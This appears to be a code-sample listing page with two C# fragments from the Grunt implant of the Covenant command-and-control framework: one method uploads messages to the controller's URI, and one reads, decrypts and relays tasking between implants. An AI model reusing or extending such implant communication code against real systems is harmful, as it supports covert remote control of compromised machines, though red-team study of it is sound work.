示例#1
0
 public void Write(string Message)
 {
     lock (this._WebClientLock)
     {
         this.SetupCookieWebClient();
         ProfileMessage ToReadMessage = new ProfileMessage {
             Type = MessageType.Write, Message = this.CovenantClient.UploadString(this.CovenantURI + this.GetURL(), Message)
         };
         if (ToReadMessage.Message != "")
         {
             this.ToReadQueue.Enqueue(ToReadMessage);
         }
     }
 }
示例#2
0
        public GruntTaskingMessage ReadTaskingMessage()
        {
            ProfileMessage readMessage = null;

            lock (_UpstreamLock)
            {
                readMessage = this.UpstreamMessenger.Read();
            }
            if (readMessage == null)
            {
                return(null);
            }
            GruntEncryptedMessage gruntMessage = null;

            if (readMessage.Type == MessageType.Read)
            {
                gruntMessage = this.Profile.ParseGetResponse(readMessage.Message);
            }
            else if (readMessage.Type == MessageType.Write)
            {
                gruntMessage = this.Profile.ParsePostResponse(readMessage.Message);
            }
            if (gruntMessage == null)
            {
                return(null);
            }
            else if (gruntMessage.Type == GruntEncryptedMessage.GruntEncryptedMessageType.Tasking)
            {
                string json = this.Crafter.Retrieve(gruntMessage);
                return((json == null || json == "") ? null : GruntTaskingMessage.FromJson(json));
            }
            else
            {
                string json = this.Crafter.Retrieve(gruntMessage);
                GruntEncryptedMessage wrappedMessage = GruntEncryptedMessage.FromJson(json);
                IMessenger            relay          = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier == wrappedMessage.GUID);
                if (relay != null)
                {
                    // TODO: why does this need to be PostResponse?
                    relay.Write(this.Profile.FormatGetResponse(wrappedMessage));
                }
                return(null);
            }
        }